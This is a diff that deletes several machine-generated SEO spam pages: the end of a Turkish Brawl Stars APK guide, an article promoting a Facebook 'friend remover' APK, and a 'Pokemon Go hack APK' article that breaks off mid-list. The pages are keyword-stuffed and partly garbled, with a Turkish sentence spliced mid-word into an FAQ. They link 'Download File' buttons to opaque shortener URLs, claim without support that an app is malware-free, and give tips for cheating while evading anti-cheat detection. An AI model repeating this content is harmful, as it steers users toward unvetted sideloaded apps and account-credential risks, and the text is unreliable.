- <p>Oyunda şu anda 68 Karakter bulunuyor. Bunlardan bazıları ortak, bazıları nadir, bazıları destansı, bazıları efsanevi ve bazıları da kromatik nadirlikte. Her Karakterin kendine has bir kişiliği, görünümü, sesi ve animasyonu var. Karakterlerin kilidini açmak için Oyun Kutularını açabilir veya Mağazadan gerçek para ile satın alabilirsiniz. Ayrıca her Karakter için farklı kostümler de toplayabilirsiniz. Kostümler sadece görünümü değiştirir, oyun içi avantaj sağlamaz. Kostümleri Oyun Kutularından, Mağazadan veya özel etkinliklerden elde edebilirsiniz.</p>
10
- <h4>Farklı Oyun Modları</h4>
11
- <p>Brawl Stars'ta birçok farklı oyun modu var. Bunlardan bazıları şunlar:</p>
12
- <ul>
13
- <li>Görev. Bu modda iki takım, ortadaki bir kasayı ele geçirmeye çalışır. Kasa, takımların puanlarını gösterir. Kasa, bir takımın saldırısına maruz kaldığında puan kaybeder. Puanı sıfıra düşen takım kaybeder.</li>
14
- <li>Elmas Kapmaca. Bu modda iki takım, ortadaki bir madenden çıkan elmasları toplamaya çalışır. Elmas toplayan takımın puanı artar. Bir takım 10 elmas topladığında geri sayım başlar. Geri sayım bitmeden elmasları koruyan takım kazanır.</li>
15
- <li>Brawl Topu. Bu modda iki takım, ortadaki bir topu alıp rakip kaleye atmaya çalışır. Topu atan takım bir puan alır. İki puan alan takım kazanır.</li>
16
- <li>Savaş Alanı. Bu modda 10 oyuncu, son kalan olmak için savaşır. Oyuncular, haritada bulunan güç kürelerini toplayarak güçlenirler. Harita, zaman geçtikçe daralır ve oyuncuları birbirine yaklaştırır.</li>
17
- <li>Çete Savaşı. Bu modda iki takım, rakip çetenin liderini öldürmeye çalışır. Lider öldüğünde oyun biter.</li>
18
- </ul>
19
- <h4>Sürekli Gelişen İçerik</h4>
20
- <p>Brawl Stars, sürekli olarak yeni Karakterler, kostümler, haritalar, oyun modları ve güncellemeler ekleyen bir oyun. Oyunda ayrıca sezonluk etkinlikler, turnuvalar, görevler ve ödüller de bulunuyor. Oyuncular, Brawl Pass adlı bir abonelik sistemi ile daha fazla ödül kazanabilirler. Brawl Pass her sezon yenilenir ve yeni Karakterler, kostümler ve diğer ögeler içerir.</p>
21
- <h2>Brawl Stars Apk Nasıl Yüklenir?</h2>
22
- <p>Brawl Stars'ı Android cihazınıza yüklemenin iki yolu var: Google Play Store'dan yükleme veya apk dosyası indirme. Her iki yöntemin de avantajları ve dezavantajları var.</p>
23
- <h3>Google Play Store'dan Yükleme</h3>
24
- <p>Bu yöntem en kolay ve güvenli olanıdır. Google Play Store'dan Brawl Stars'ı aratın ve yükleyin. Oyunun son sürümünü otomatik olarak alacaksınız ve güncellemeleri de kolayca yapabileceksiniz.</p>
25
- <h3>Apk Dosyası İndirme</h3>
26
- <p>Bu yöntem daha zahmetli ve riskli olabilir, ancak bazı durumlarda tercih edilebilir. Örneğin, Google Play Store'da Brawl Stars'ın bulunmadığı veya uyumlu olmadığı ülkelerde veya cihazlarda bu yöntemi kullanabilirsiniz. Ayrıca bazı modifiye edilmiş apk dosyaları ile oyunun farklı sürümlerini veya özelliklerini deneyebilirsiniz.</p>
27
- <h4>Güvenilir Kaynaklardan İndirin</h4>
28
- <p>Apk dosyasını indirmeden önce kaynağının güvenilir olduğundan emin olun. Bazı apk dosyaları virüs veya zararlı yazılım içere uyumlu olmayabilir. Bu durumda apk dosyasını indirerek oyunu yükleyebilirsiniz. | | Q: Brawl Stars'ı iOS cihazıma nasıl yükleyebilirim? | | A: Brawl Stars'ı iOS cihazınıza App Store'dan yükleyebilirsiniz. Oyunun resmi sitesindeki bağlantıyı takip edebilir veya App Store'da Brawl Stars'ı arayabilirsiniz. | | Q: Brawl Stars ücretsiz mi? | | A: Brawl Stars ücretsiz bir oyundur. Oyunu indirmek ve oynamak için herhangi bir ücret ödemeniz gerekmez. Ancak oyun içinde gerçek para ile satın alabileceğiniz bazı ögeler vardır. Bunlar oyun dengelemesini etkilemez, sadece kozmetik veya ilerlemeyi hızlandırır. | | Q: Brawl Stars'ın yaş sınırı nedir? | | A: Brawl Stars, 7 yaş ve üzeri için uygundur. Oyun, şiddet içermeyen ve çizgi film tarzında bir grafik sunar. Oyun, aile paylaşımı özelliğini destekler ve ebeveyn denetimi ayarları vardır. | | Q: Brawl Stars'ı bilgisayarımda oynayabilir miyim? | | A: Brawl Stars, resmi olarak sadece mobil platformlarda mevcuttur. Ancak bir Android emülatörü kullanarak bilgisayarınızda da oynayabilirsiniz. Emülatörler, Android uygulamalarını bilgisayarınızda çalıştırmanızı sağlayan programlardır. Bazı popüler emülatörler şunlardır: BlueStacks , NoxPlayer , MEmu . Emülatör kurduktan sonra, Google Play Store'dan veya apk dosyasından Brawl Stars'ı yükleyebilirsiniz.</p>
29
- <p>brawl stars apk indir android<br />
30
- brawl stars apk download latest version<br />
31
- brawl stars apk yükleme sorunu<br />
32
- brawl stars apk mod menu<br />
33
- brawl stars apk güncelleme nasıl yapılır<br />
34
- brawl stars apk hileli indir<br />
35
- brawl stars apk bilgisayara yükle<br />
36
- brawl stars apk uptodown<br />
37
- brawl stars apk kurulumu<br />
38
- brawl stars apk oyun indir club<br />
39
- brawl stars apk son sürüm indir<br />
40
- brawl stars apk hack gems<br />
41
- brawl stars apk yükle pc<br />
42
- brawl stars apk tamindir<br />
43
- brawl stars apk nox player<br />
44
- brawl stars apk bluestacks<br />
45
- brawl stars apk memu play<br />
46
- brawl stars apk yeni güncelleme<br />
47
- brawl stars apk hilesiz indir<br />
48
- brawl stars apk orijinal indir<br />
49
- brawl stars apk google play store<br />
50
- brawl stars apk türkçe indir<br />
51
- brawl stars apk ücretsiz indir<br />
52
- brawl stars apk online oyna<br />
53
- brawl stars apk dosyası açma<br />
54
- brawl stars apk güvenli mi<br />
55
- brawl stars apk nasıl silinir<br />
56
- brawl stars apk nasıl güncellenir<br />
57
- brawl stars apk nasıl yüklenir android<br />
58
- brawl stars apk nasıl yüklenir bilgisayara<br />
59
- brawl stars apk nasıl yüklenir ios<br />
60
- brawl stars apk nasıl yüklenir tablette<br />
61
- brawl stars apk nasıl yüklenir telefona<br />
62
- brawl stars apk nasıl yüklenir windows 10<br />
63
- brawl stars apk nasıl yüklenir windows 7<br />
64
- brawl stars apk nasıl yüklenir windows 8.1<br />
65
- brawl stars apk nasıl yüklenir windows xp<br />
66
- brawl stars apk nasıl yüklenir youtube videoyu izle<br />
67
- brawl stars apk nereden indirebilirim<br />
68
- brawl stars apk nereden yükleyebilirim<br />
69
- brawl stars apk ne işe yarar<br />
70
- brawl stars apk ne kadar yer kaplar<br />
71
- brawl stars apk ne zaman çıkacak<br />
72
- brawl stars apk ne zaman güncellenecek<br />
73
- brawl stars apk ne zaman indirebilirim<br />
74
- brawl stars apk ne zaman yükleyebilirim<br />
75
- brawl stars apk oyun club indir android oyun club com tr android oyunlar aksiyon macera oyunlari 1229016807 html</p> 197e85843d<br />
76
- <br />
77
- <br />
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/1pelhydcardo/ChatGPT-prompt-generator/assets/Download All Friends Remover APK and Get Rid of Unwanted Facebook Friends.md DELETED
@@ -1,124 +0,0 @@
1
-
2
- <h1>All Friends Remover for Facebook APK: How to Unfriend All Your Facebook Friends in Two Clicks</h1>
3
- <p>Have you ever wanted to unfriend all your Facebook friends in one go? Maybe you are tired of seeing their posts, or you want to start fresh with a new account, or you just want to declutter your social media. Whatever the reason, unfriending hundreds or thousands of people manually can be a tedious and time-consuming task. Fortunately, there is a simple solution: All Friends Remover for Facebook APK.</p>
4
- <h2>Introduction</h2>
5
- <p>All Friends Remover for Facebook APK is an Android app that allows you to remove all your Facebook friends in just two clicks. It is not developed or associated with Facebook, but it uses your login credentials to access your friends list and perform the unfriending action. The app is fast, easy to use, and reliable. It can help you save time and effort, as well as improve your privacy and security on Facebook.</p>
6
- <h2>all friends remover for facebook apk</h2><br /><p><b><b>Download File</b> &#11088; <a href="https://urlin.us/2uSRV4">https://urlin.us/2uSRV4</a></b></p><br /><br />
7
- <h2>How to Download and Install All Friends Remover for Facebook APK</h2>
8
- <p>Since All Friends Remover for Facebook APK is not available on the Google Play Store, you will need to download it from a third-party source. One of the websites that offer the APK file is [APKCombo](^1^). Here are the steps to download and install the app:</p>
9
- <ol>
10
- <li>Go to [APKCombo](^1^) and search for "Friend Remover for Facebook".</li>
11
- <li>Select the app with the icon of a gorilla's head and click on "Download APK".</li>
12
- <li>Save the file on your device and locate it using a file manager app.</li>
13
- <li>Tap on the file and allow installation from unknown sources if prompted.</li>
14
- <li>Follow the instructions on the screen and wait for the installation to complete.</li>
15
- </ol>
16
- <p>Once the app is installed, you will need to grant it some permissions to access your Facebook account. These include:</p>
17
- <ul>
18
- <li>Read your contacts</li>
19
- <li>Access information about networks</li>
20
- <li>Access information about Wi-Fi networks</li>
21
- <li>Open network sockets</li>
22
- <li>Write to external storage</li>
23
- </ul>
24
- <p>These permissions are necessary for the app to function properly. However, you should be careful when granting permissions to any third-party app, as they may pose some security risks. You should also review your Facebook privacy settings and revoke any unwanted access from apps or websites.</p>
25
- <h2>How to Use All Friends Remover for Facebook APK</h2>
26
- <p>Using All Friends Remover for Facebook APK is very simple. Here are the steps:</p>
27
- <ol>
28
- <li>Launch the app and log in with your Facebook email and password.</li>
29
- <li>The app will show you a list of all your friends. You can scroll down to see more.</li>
30
- <li>If you want to unfriend all your friends, tap on the "Select All" button at the top. If you want to unfriend some of your friends, tap on the checkboxes next to their names.</li>
31
- <li>Once you have selected the friends you want to unfriend, tap on the "Unfriend" button at the bottom.</li>
32
- <li>The app will ask you to confirm your action. Tap on "Yes" to proceed.</li>
33
- <li>The app will start unfriending your selected friends. You can see the progress on the screen. Depending on the number of friends you have, this may take a few seconds or minutes.</li>
34
- <li>When the app is done, it will show you a message saying "All Friends Removed Successfully". Tap on "OK" to exit.</li>
35
- </ol>
36
- <p>You can now check your Facebook account and see that your friends list is empty. You can also verify that the app has unfriended your friends by visiting their profiles and seeing that you are no longer connected. If you change your mind and want to add some of your friends back, you will need to send them a friend request again.</p>
37
- <h2>Pros and Cons of All Friends Remover for Facebook APK</h2>
38
- <p>All Friends Remover for Facebook APK is a handy app for anyone who wants to unfriend all their Facebook friends in a quick and easy way. However, like any other app, it has its pros and cons. Here are some of them:</p>
39
- <p>How to unfriend all friends on Facebook in one click<br />
40
- Best app for removing friends from Facebook<br />
41
- Delete all Facebook friends quickly and easily<br />
42
- Mass Friends Remover for Facebook Chrome extension<br />
43
- Friend Remover for Facebook Android app download<br />
44
- How to use All Friends Remover for Facebook extension<br />
45
- Unfriend multiple friends on Facebook at once<br />
46
- How to delete Facebook friends in bulk<br />
47
- Friend Remover for Facebook APK free download<br />
48
- All Friends Remover for Facebook reviews and ratings<br />
49
- How to uninstall All Friends Remover for Facebook extension<br />
50
- Benefits of using Friend Remover for Facebook app<br />
51
- How to select all friends on Facebook for deletion<br />
52
- How to cancel friend removal on Facebook<br />
53
- Alternatives to All Friends Remover for Facebook extension<br />
54
- How to install Friend Remover for Facebook APK on Android<br />
55
- How to update All Friends Remover for Facebook extension<br />
56
- How to contact the developer of Friend Remover for Facebook app<br />
57
- How to restore deleted friends on Facebook<br />
58
- How to disable All Friends Remover for Facebook extension<br />
59
- How to use Friend Remover for Facebook app offline<br />
60
- How to backup your Facebook friends list before deletion<br />
61
- How to customize the settings of All Friends Remover for Facebook extension<br />
62
- How to filter your Facebook friends by name, date, or category<br />
63
- How to speed up the process of removing friends on Facebook<br />
64
- How to troubleshoot issues with Friend Remover for Facebook app<br />
65
- How to share All Friends Remover for Facebook extension with others<br />
66
- How to rate and review Friend Remover for Facebook app on Google Play Store<br />
67
- How to get support for All Friends Remover for Facebook extension<br />
68
- How to report bugs or errors with Friend Remover for Facebook app<br />
69
- How to delete all inactive or fake friends on Facebook<br />
70
- How to remove all friends from a specific group or page on Facebook<br />
71
- How to delete all pending friend requests on Facebook<br />
72
- How to remove all blocked or restricted friends on Facebook<br />
73
- How to delete all mutual friends on Facebook<br />
74
- How to remove all suggested friends on Facebook<br />
75
- How to delete all tagged or mentioned friends on Facebook<br />
76
- How to remove all followers or following on Facebook<br />
77
- How to delete all birthday or anniversary reminders on Facebook<br />
78
- How to remove all game or app invitations on Facebook<br />
79
- How to delete all chat or message history on Facebook<br />
80
- How to remove all likes or reactions on Facebook posts or comments<br />
81
- How to delete all comments or replies on Facebook posts or comments<br />
82
- How to remove all notifications or alerts on Facebook <br />
83
- How to delete all photos or videos on Facebook <br />
84
- How to remove all albums or stories on Facebook <br />
85
- How to delete all posts or status updates on Facebook <br />
86
- How to remove all groups or pages on Facebook <br />
87
- How to delete all events or check-ins on Facebook <br />
88
- How to remove all bookmarks or saved items on Facebook</p>
89
- <h3>Pros</h3>
90
- <ul>
91
- <li>It saves you time and effort. You don't have to unfriend each friend individually, which can be very tedious and time-consuming.</li>
92
- <li>It improves your privacy and security. You can reduce the amount of personal information that you share with your Facebook friends, who may not be trustworthy or respectful of your privacy. You can also avoid unwanted messages, notifications, or requests from your Facebook friends.</li>
93
- <li>It declutters your social media. You can get rid of the people who don't add value to your life, who annoy you with their posts, or who you don't care about anymore. You can focus on the people who matter to you, or start fresh with a new account.</li>
94
- </ul>
95
- <h3>Cons</h3>
96
- <ul>
97
- <li>It may cause some problems or misunderstandings. Some of your friends may not understand why you unfriended them, and may feel hurt or offended. They may think that you are angry with them, or that you don't like them anymore. They may also try to contact you or confront you about it.</li>
98
- <li>It may affect your online reputation or relationships. Some of your friends may be important for your personal or professional life, and unfriending them may damage your reputation or relationships. For example, if you unfriend your boss, your co-workers, or your clients, they may think that you are unprofessional or disrespectful.</li>
99
- <li>It may not be reversible or reliable. Once you unfriend someone on Facebook, you cannot undo it unless you send them a friend request again and they accept it. However, they may not accept it, or they may not even see it if they have blocked you or changed their settings. Also, the app may not work properly or may fail to unfriend some of your friends due to technical issues or errors.</li>
100
- </ul>
101
- <h2>Alternatives to All Friends Remover for Facebook APK</h2>
102
- <p>If you are looking for other ways to unfriend your Facebook friends, there are some alternatives to All Friends Remover for Facebook APK that you can try. Here are some of them:</p>
103
- <h3>Facebook Unfriend Tool</h3>
104
- <p>This is a Chrome extension that allows you to unfriend all your Facebook friends in one click. It works similarly to All Friends Remover for Facebook APK, but it requires a Chrome browser and a PC. You can download it from [Chrome Web Store].</p>
105
- <h3>Friend Remover PRO - Delete All Friends</h3>
106
- <p>This is another Chrome extension that allows you to unfriend all your Facebook friends in one click. It also has some additional features, such as filtering by gender, country, or activity level. You can download it from [Chrome Web Store].</p>
107
- <h3>Unfriend All Friends For Facebook</h3>
108
- <p>This is another Android app that allows you to unfriend all your Facebook friends in one click. It has a simple interface and a fast performance. You can download it from [APKPure].</p>
109
- <h2>Conclusion</h2>
110
- <p>All Friends Remover for Facebook APK is an Android app that allows you to unfriend all your Facebook friends in just two clicks. It is fast, easy to use, and reliable. It can help you save time and effort, as well as improve your privacy and security on Facebook. However, it also has some drawbacks and risks, such as causing problems or misunderstandings with your friends, affecting your online reputation or relationships, or not being reversible or reliable. Therefore, you should use it with caution and discretion. You should also consider some alternatives to All Friends Remover for Facebook APK, such as Facebook Unfriend Tool, Friend Remover PRO - Delete All Friends, or Unfriend All Friends For Facebook. These are some other apps or extensions that can help you unfriend your Facebook friends in one click, with some additional features or options.</p>
111
- <h2>FAQs</h2>
112
- <p>Here are some frequently asked questions about All Friends Remover for Facebook APK:</p>
113
- <h3>Is All Friends Remover for Facebook APK safe to use?</h3>
114
- <p>All Friends Remover for Facebook APK is generally safe to use, as it does not contain any malware or viruses. However, it is not developed or endorsed by Facebook, and it requires your login credentials and permissions to access your friends list and unfriend them. Therefore, you should be careful when using any third-party app that asks for your personal information or access to your account, as they may pose some security risks or violate Facebook's terms of service.</p>
115
- <h3>Can I undo the unfriending action after using All Friends Remover for Facebook APK?</h3>
116
- <p>No, you cannot undo the unfriending action after using All Friends Remover for Facebook APK. Once you unfriend someone on Facebook, you cannot add them back unless you send them a friend request again and they accept it. However, they may not accept it, or they may not even see it if they have blocked you or changed their settings. Therefore, you should think carefully before using All Friends Remover for Facebook APK, and make sure that you really want to unfriend all your friends.</p>
117
- <h3>Will my friends know that I unfriended them using All Friends Remover for Facebook APK?</h3>
118
- <p>No, your friends will not know that you unfriended them using All Friends Remover for Facebook APK. The app does not send any notification or message to your friends when you unfriend them. However, they may notice that you are no longer on their friends list, or that they cannot see your posts or profile anymore. They may also try to visit your profile and see that you are no longer connected. Therefore, they may figure out that you unfriended them, and they may feel hurt or offended by your action.</p>
119
- <h3>Will All Friends Remover for Facebook APK delete my Facebook account?</h3>
120
- <p>No, All Friends Remover for Facebook APK will not delete your Facebook account. The app only removes your friends from your account, but it does not affect any other aspect of your account. You can still use your account normally after using the app, and you can still add new friends if you want to. However, if you want to delete your account completely, you will need to do it manually from the Facebook settings.</p>
121
- <h3>How can I contact the developer of All Friends Remover for Facebook APK?</h3>
122
- <p>The developer of All Friends Remover for Facebook APK is unknown, and there is no official website or contact information for the app. The app is distributed by third-party sources, such as [APKCombo], which do not provide any support or warranty for the app. Therefore, if you have any questions or issues with the app, you may not be able to contact the developer or get any help.</p> 197e85843d<br />
123
- <br />
124
- <br />
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/1phancelerku/anime-remove-background/Download Pokemon GO Hack APK and Catch Them All with Ease.md DELETED
@@ -1,115 +0,0 @@
1
-
2
- <h1>How to Download Hack Pokemon Go APK</h1>
3
- <p>Pokemon Go is a popular mobile game that uses augmented reality to let you catch, train, and battle virtual creatures in the real world. The game has millions of fans around the world who enjoy exploring new places, collecting items, and joining raids with other players. But what if you want to have an edge over your rivals and access more features and benefits in the game? That's where Pokemon Go hack APK comes in.</p>
4
- <p>Pokemon Go hack APK is a modified version of the original game that allows you to cheat and bypass some of the game's limitations. With this hack, you can teleport to any location, use a joystick to move around, auto-walk to hatch eggs, catch rare and legendary Pokemon, get unlimited items and coins, and more. Sounds tempting, right? But before you download and install Pokemon Go hack APK, you should be aware of the risks and dangers involved, as well as the legal issues that may arise from using it. In this article, we will explain everything you need to know about Pokemon Go hack APK, including its features, tips and tricks, risks and dangers, and legal issues.</p>
5
- <h2>download hack pokemon go apk</h2><br /><p><b><b>Download File</b> &#10022; <a href="https://jinyurl.com/2uNKQ6">https://jinyurl.com/2uNKQ6</a></b></p><br /><br />
6
- <h2>Features of Pokemon Go Hack APK</h2>
7
- <p>Pokemon Go hack APK has many features that can enhance your gaming experience and make you a better trainer. Here are some of the most notable ones:</p>
8
- <h3>Teleport, joystick, and auto-walk</h3>
9
- <p>One of the main features of Pokemon Go hack APK is that it allows you to teleport to any location in the world without actually moving. This means you can catch Pokemon that are exclusive to certain regions, visit PokeStops and gyms that are far away, and participate in events that are not available in your area. You can also use a joystick to move around the map without walking, which can save you time and energy. And if you want to hatch eggs without moving a muscle, you can use the auto-walk feature that will make your character walk automatically.</p>
10
- <h3>Catch rare and legendary Pokemon</h3>
11
- <p>Another feature of Pokemon Go hack APK is that it enables you to catch rare and legendary Pokemon that are normally hard to find or require special conditions to appear. For example, you can catch Mewtwo, Lugia, Ho-Oh, Rayquaza, Giratina, Kyurem, and other powerful Pokemon that are usually only available in raids or special events. You can also catch shiny Pokemon that have different colors than normal ones. With this hack, you can fill up your Pokedex faster and easier than ever.</p>
12
- <h3>Get unlimited items and coins</h3>
13
- <p>A third feature of Pokemon Go hack APK is that it gives you unlimited items and coins that you can use in the game. Items include Poke Balls, berries, potions, revives, incense, lures, lucky eggs, incubators, raid passes, etc. Coins are the in-game currency that you can use to buy items or upgrade your storage space. With this hack, you don't have to worry about running out of items or coins or spending real money on them.</p>
14
- <h2>Tips and Tricks for Playing Pokemon Go Hack APK</h2>
15
- <p>Pokemon Go hack APK can make your game more fun and exciting, but you should also be careful and smart when using it. Here are some tips and tricks that can help you play Pokemon Go hack APK safely and effectively:</p>
16
- <h3>Delete difficult tasks and claim rewards one by one</h3>
17
- <p>One of the tips for playing Pokemon Go hack APK is to delete the tasks that are too hard or time-consuming to complete, such as catching a certain number of Pokemon, walking a certain distance, or battling in a gym. You can do this by tapping on the bin icon next to the task in the Today or Field section of the game. This will free up space for new tasks that may be easier or more rewarding. You can also claim the rewards for each task one by one, instead of claiming them all at once. This will prevent you from getting banned or detected by the game's anti-cheat system, as it will look more natural and realistic.</p>
18
- <p>download pokemon go mod apk with fake gps<br />
19
- how to get pokemon go hack apk for android<br />
20
- pokemon go joystick hack apk download free<br />
21
- pokemon go radar hack apk download latest version<br />
22
- download pokemon go spoofing apk with hack menu<br />
23
- pokemon go hack apk no root download 2023<br />
24
- pokemon go fly gps hack apk download for ios<br />
25
- pokemon go hack apk download unlimited coins and balls<br />
26
- pokemon go adventure sync hack apk download<br />
27
- pokemon go shiny hack apk download 2023<br />
28
- download pokemon go mod apk with anti ban<br />
29
- pokemon go hack apk download for pc windows 10<br />
30
- pokemon go buddy hack apk download free<br />
31
- pokemon go egg hatch hack apk download 2023<br />
32
- pokemon go candy hack apk download latest version<br />
33
- download pokemon go mod apk with teleport<br />
34
- how to install pokemon go hack apk on android<br />
35
- pokemon go speed hack apk download free<br />
36
- pokemon go map hack apk download 2023<br />
37
- download pokemon go spoofing apk with joystick<br />
38
- pokemon go iv checker hack apk download<br />
39
- pokemon go ar mode hack apk download for ios<br />
40
- pokemon go weather boost hack apk download<br />
41
- pokemon go trade hack apk download 2023<br />
42
- download pokemon go mod apk with fast catch trick<br />
43
- how to update pokemon go hack apk on android<br />
44
- pokemon go location spoofing hack apk download free<br />
45
- pokemon go gym battle hack apk download 2023<br />
46
- download pokemon go mod apk with dark mode<br />
47
- how to uninstall pokemon go hack apk on android<br />
48
- pokemon go pvp battle hack apk download free<br />
49
- pokemon go quest hack apk download 2023<br />
50
- download pokemon go mod apk with auto walk<br />
51
- how to use pokemon go hack apk on android<br />
52
- pokemon go lucky patcher hack apk download free<br />
53
- pokemon go team rocket hack apk download 2023<br />
54
- download pokemon go mod apk with unlimited rare candy<br />
55
- how to fix pokemon go hack apk on android<br />
56
- pokemon go incense hack apk download free<br />
57
- pokemon go stardust hack apk download 2023</p>
58
- <h3>Save Stardust and build XP with Lucky Eggs</h3>
59
- <p>Another tip for playing Pokemon Go hack APK is to save your Stardust and use it wisely. Stardust is a valuable resource that you need to power up and evolve your Pokemon. You can get Stardust by catching Pokemon, hatching eggs, completing tasks, participating in raids, etc. However, you should not spend it on every Pokemon you catch, as some of them may not be worth it or may be replaced by better ones later. You should only use Stardust on the Pokemon that have high IVs (individual values), high CP (combat power), and useful movesets. You can check these stats by using an app like Poke Genie or Calcy IV. You should also use Lucky Eggs to boost your XP (experience points) and level up faster. Lucky Eggs are items that double your XP for 30 minutes. You can get them by leveling up, completing tasks, or buying them with coins. You should use Lucky Eggs when you have a lot of Pokemon to evolve, as each evolution gives you 500 XP (or 1000 XP with a Lucky Egg). You can also use Lucky Eggs when you participate in raids, catch rare Pokemon, or complete special tasks.</p>
60
- <h3>Throw Pokeballs correctly and catch legendary Pokemon</h3>
61
- <p>A third tip for playing Pokemon Go hack APK is to throw your Pokeballs correctly and catch legendary Pokemon. Throwing Pokeballs is an art that requires skill and practice. You should aim for the center of the circle that appears around the Pokemon, as this will increase your chances of hitting it and catching it. You should also try to throw curveballs, which are balls that spin in the air before landing. Curveballs give you a bonus XP and increase your catch rate. You can throw curveballs by spinning the ball in a circular motion before releasing it. You should also use different types of balls depending on the difficulty of the Pokemon. For example, you should use Great Balls or Ultra Balls for rare or strong Pokemon, and Master Balls for legendary Pokemon. Legendary Pokemon are the most powerful and sought-after Pokemon in the game. They include Mewtwo, Lugia, Ho-Oh, Rayquaza, Giratina, Kyurem, etc. You can catch legendary Pokemon by participating in raids or using the teleport feature of Pokemon Go hack APK. However, you should be careful when doing so, as legendary Pokemon are very hard to catch and may flee if you fail.</p>
62
- <h2>Risks and Dangers of Playing Pokemon Go Hack APK</h2>
63
- <p>Pokemon Go hack APK may sound like a dream come true for many players, but it also comes with many risks and dangers that you should be aware of. Here are some of the most common ones:</p>
64
- <h3>Accidents and injuries</h3>
65
- <p>One of the risks of playing Pokemon Go hack APK is that it may cause accidents and injuries to yourself or others. Even though you are using a hack that allows you to teleport or move around without walking, you still need to pay attention to your surroundings and be careful where you go. You may encounter obstacles, hazards, or dangers that may harm you or others. For example, you may trip over a curb, fall down a stairs, bump into a wall, cross a busy street, enter a restricted area, etc. You may also damage your device or lose your internet connection if you go to places that have poor signal or coverage. To avoid these risks, you should always look where you are going, follow the traffic rules, respect the property rights, and stay alert and aware.</p>
66
- <h3>Muggings and trespassing</h3>
67
- <p>Another risk of playing Pokemon Go hack APK is that it may expose you to muggings and trespassing. Even though you are using a hack that allows you to catch rare and legendary Pokemon without traveling far away, you still need to be careful about your personal safety and security. You may attract unwanted attention or suspicion from other people who may see you playing the game or holding your device. You may also encounter criminals or scammers who may try to rob you, hack you, or trick you into giving them your personal information or money. For example, you may be lured into a trap, followed by a stranger, offered a fake deal, or sent a phishing link. To avoid these risks, you should always play in public and well-lit places, avoid shady or unfamiliar areas, keep your device and account secure, and report any suspicious or illegal activity.</p>
68
- <h3>Privacy and data breaches</h3>
69
- <p>A third risk of playing Pokemon Go hack APK is that it may compromise your privacy and data. Even though you are using a hack that allows you to spoof your location and access more features and benefits in the game, you still need to be wary of the potential consequences of doing so. You may violate the terms of service and privacy policy of the game, which may result in your account being banned or deleted. You may also expose your personal information and data to third parties who may use it for malicious purposes. For example, you may reveal your real location, identity, contacts, preferences, habits, etc. You may also download malware or viruses that may harm your device or steal your data. To avoid these risks, you should always read and understand the terms and conditions and privacy policy of the game, use a VPN (virtual private network) or a burner email to hide your IP address and identity, and scan your device and files for any threats.</p>
70
- <h2>Legal Issues of Playing Pokemon Go Hack APK</h2>
71
- <p>Pokemon Go hack APK may not only pose risks and dangers to yourself and others, but it may also raise legal issues that you should be aware of. Here are some of the most common ones:</p>
72
- <h3>Liability for personal injury and property damage</h3>
73
- <p>One of the legal issues of playing Pokemon Go hack APK is that it may make you liable for personal injury and property damage that you or others may cause or suffer while playing the game. Even though you are using a hack that allows you to teleport or move around without walking, you still need to be responsible for your actions and behavior. You may injure yourself or others, or damage someone else's property, as a result of playing the game. For example, you may crash into a car, hit a pedestrian, break a window, knock over a vase, etc. You may also be sued by the injured party or the property owner for compensation or damages. To avoid these legal issues, you should always follow the law and respect the rights of others, avoid causing harm or damage to anyone or anything, and have insurance or funds to cover any potential liability.</p>
74
- <h3>Intellectual property infringement and piracy</h3>
75
- <p>Another legal issue of playing Pokemon Go hack APK is that it may constitute intellectual property infringement and piracy. Intellectual property refers to the creations of the mind, such as inventions, designs, logos, names, etc. Piracy refers to the unauthorized use or distribution of someone else's intellectual property without their permission or consent. Pokemon Go hack APK is a modified version of the original game that belongs to Niantic Inc., The Pokemon Company, and Nintendo Co., Ltd. By downloading and installing Pokemon Go hack APK, you are infringing and pirating their intellectual property rights, which may result in legal action or penalties. For example, you may be sued for damages, fined, or jailed for violating the law. You may also be banned or blocked from accessing the game or its services. To avoid these legal issues, you should respect the intellectual property rights of the game developers and owners, and only use the official version of the game that is authorized and licensed by them.</p>
76
- <h3>Augmented reality regulation and virtual currency taxation</h3>
77
- <p>A third legal issue of playing Pokemon Go hack APK is that it may involve augmented reality regulation and virtual currency taxation. Augmented reality refers to the technology that overlays digital information or images on the physical world, such as Pokemon Go. Virtual currency refers to the digital money that is used in online games or platforms, such as coins in Pokemon Go. Both augmented reality and virtual currency are relatively new and emerging phenomena that may not have clear or consistent laws or regulations in different countries or jurisdictions. By playing Pokemon Go hack APK, you may be subject to different rules or requirements that may affect your rights and obligations. For example, you may need a permit or license to use augmented reality in certain places or situations, or you may need to pay taxes on your virtual currency transactions or income. To avoid these legal issues, you should be aware of and comply with the laws and regulations that apply to augmented reality and virtual currency in your location or destination.</p>
78
- <h1>Conclusion</h1>
79
- <p>Pokemon Go hack APK is a tempting option for many players who want to enjoy more features and benefits in the game. However, it also comes with many risks and dangers that may harm yourself or others, as well as legal issues that may result in serious consequences. Therefore, you should think twice before downloading and installing Pokemon Go hack APK, and weigh the pros and cons carefully. You should also follow the tips and tricks that we have provided to play Pokemon Go hack APK safely and effectively. Remember, Pokemon Go is a game that is meant to be fun and fair for everyone, so don't ruin it for yourself or others by cheating or hacking.</p>
80
- <h2>FAQs</h2>
81
- <p>Here are some of the frequently asked questions about Pokemon Go hack APK:</p>
82
- <h3>Q: Where can I download Pokemon Go hack APK?</h3>
83
- <p>A: You can download Pokemon Go hack APK from various websites or sources online, but you should be careful and cautious when doing so. Some of these websites or sources may be unreliable, untrustworthy, or illegal, and may contain malware or viruses that may harm your device or data. You should only download Pokemon Go hack APK from reputable and verified websites or sources that have positive reviews and feedback from other users.</p>
84
- <h3>Q: How can I install Pokemon Go hack APK?</h3>
85
- <p>A: You can install Pokemon Go hack APK by following these steps:</p>
86
- <ol>
87
- <li>Download the Pokemon Go hack APK file from a reliable and verified website or source.</li>
88
